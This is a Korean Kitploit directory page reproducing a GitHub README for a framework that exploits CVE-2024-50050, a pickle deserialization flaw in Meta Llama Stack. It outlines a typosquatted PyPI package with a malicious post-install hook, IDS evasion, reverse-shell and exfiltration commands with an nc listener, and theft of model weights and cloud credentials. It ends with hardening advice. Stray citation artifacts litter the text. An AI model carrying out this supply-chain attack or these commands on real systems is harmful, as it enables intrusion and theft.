Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050- — LlamaStack-RCE: 결정적 공급망 익스플로잇 및 하드닝 프레임워크 [CVE-2024-50050] AI 보안 연구에 중점 AI-SupplyChain-Poisoning: 고급 PVM Opcode 조작 및 ZeroMQ 인젝션 랩 | Kitploit
도구/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-
Exploit FrameworksVulnerability AnalysisData ExfiltrationPenetration TestingCommand and ControlSupply Chain SecurityLearning & EducationRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
AI Security
Binary Exploitation
Labs & Practice
GitHubsastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

LlamaStack-RCE: 결정적 공급망 익스플로잇 및 하드닝 프레임워크 [CVE-2024-50050] AI 보안 연구에 중점 AI-SupplyChain-Poisoning: 고급 PVM Opcode 조작 및 ZeroMQ 인젝션 랩

저장소 보기웹사이트
7개월 전아직 검토되지 않음

DOI = doi.org/10.5281/zenodo.18278567

ORCID = orcid.org/0009-0007-7728-256X


💀 LlamaStack-RCE: CVE-2024-50050 공급망 공격 프레임워크

무제한 기밀 자료 - 공인된 레드팀 운영 전용

1. 요약 (결정적 분석)

LlamaStack-RCE는 Meta Llama Stack의 CVE-2024-50050, 즉 치명적인 원격 코드 실행(RCE) 취약점을 대상으로 하는 고정밀 시뮬레이션 및 공격 프레임워크입니다. 이 취약점은 Python 기반 추론 API 내의 안전하지 않은 역직렬화, 특히 ZeroMQ(0MQ) 전송 계층을 통한 pickle 모듈 사용에서 발생합니다.

이 저장소는 업스트림 공급망 오염부터 다운스트림 실행 및 모델 가중치 탈취까지 전체 공격 체인을 제공합니다.


2. 기술적 회피 및 무기화

2.1. 공격 구조 분석 (PVM 악용)

익스플로잇의 핵심은 Pickle 가상 머신(PVM) 을 대상으로 합니다. GLOBAL opcode를 활용하여 PVM이 사용 가능한 모든 Python 모듈을 가져오고 unpickling 과정 중 임의의 함수를 실행하도록 강제할 수 있습니다.

공격 벡터: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE.

2.2. 다형성 페이로드 구성

기존 시그니처 기반 IDS(Snort/Suricata)를 우회하기 위해 프레임워크는 다형성 인코딩을 구현합니다:

Base64 중첩 실행: /bin/bash 또는 os.system 같은 리터럴 문자열을 숨기기 위해 셸 명령을 Base64로 캡슐화합니다.

Opcode 난독화: 실행 로직을 변경하지 않고 바이너리 시그니처를 바꾸기 위해 PVM 명령어를 재배열합니다.

패킷 밀수: pickle 페이로드를 여러 ZeroMQ 프레임으로 분할하여 볼륨 기반 이상 탐지를 회피합니다.


3. 공급망 침투 전략

프레임워크는 전체적인 공급망 무기화를 시뮬레이션합니다:

단계전략기술 구현
I: 업스트림타이포스쿼팅setup.py의 악성 PostInstallCommand와 함께 metalama-stack을 PyPI에 등록합니다.

| | II: 배포 | 오염된 포크 | connection.py에 "숨겨진 Pickle 인터프리터"가 있는 GitHub의 고성능 Llama Stack 포크.

| | III: 실행 | CI/CD 트리거 | 대상의 Jenkins/GitHub Actions 환경에서 pip install 중 자동 실행.

| | IV: 지속성 | 로직 폭탄 | 장기 C2 접근 및 모델 탈취를 위한 다단계 백그라운드 스테이저.

|


4. 실험실 아키텍처 및 배포

4.1. 사전 요구 사항

하드웨어: 4x NVIDIA A100/H100 (로컬 가중치 테스트용).

운영체제: 강화된 Arch Linux 또는 Kali Linux.

환경: Docker 및 Docker-Compose (격리된 네트워크).

4.2. 파일 구조

root@kitploit:~
.
[cite_start]├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

4.3. 실행 워크플로우

  1. 환경 검증:
root@kitploit:~
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]

  1. 리스너(C2) 실행:
root@kitploit:~
nc -lvnp 4444

  1. 익스플로잇 실행 (리버스 셸 모드):
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]

  1. 데이터 유출 시작:
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]


5. 영향 평가 (심각도: 10/10)

성공적인 악용 시 AI 인프라에 대한 절대적인 제어권이 부여됩니다:

지적 재산 탈취: .safetensors 모델 가중치 탈취 ($10M - $100M+ 가치).

GPU 하이재킹: 크립토재킹 또는 섀도우 트레이닝을 위한 무단 CUDA 리소스 할당.

추론 조작: 다운스트림 애플리케이션(의료/법률 AI)의 시스템적 오류를 유발하도록 모델 응답을 오염.

자격 증명 수집: /proc/self/environ에서 AWS/GCP 키 및 K8s 구성 추출.


6. 결정적 하드닝 (퍼플팀 권장 사항)

CVE-2024-50050을 완화하려면 다음 절대 규칙을 적용해야 합니다:

Pickle 근절: 모든 pickle.loads()를 safetensors.torch.load_file() 또는 엄격한 스키마를 가진 msgpack으로 교체합니다.

ZMQ 하드닝: 공개/개인 키 쌍으로 ZMQ_CURVE를 구현하고 절대 0.0.0.0에 바인딩하지 마십시오.

인프라 격리: RCE 컨테이너 탈출을 방지하기 위해 AI 프로세스를 gVisor 또는 Kata Containers에서 실행합니다.

네트워크 마이크로 세분화: 엄격하게 정의된 수신/송신 규칙을 사용하여 추론 서버를 공개 인터넷과 분리합니다.


7. 법적 고지

법적 고지: 사전 서면 승인 없이 대상을 공격하는 데 이 프레임워크를 사용하는 것은 불법입니다. 본 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다. 저자(Sastra_Adi_Wiguna)는 오용에 대한 책임을 지지 않습니다.


기밀 문서: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 결정적 상태: 프로덕션 준비 완료 (98/100)

도구 다운로드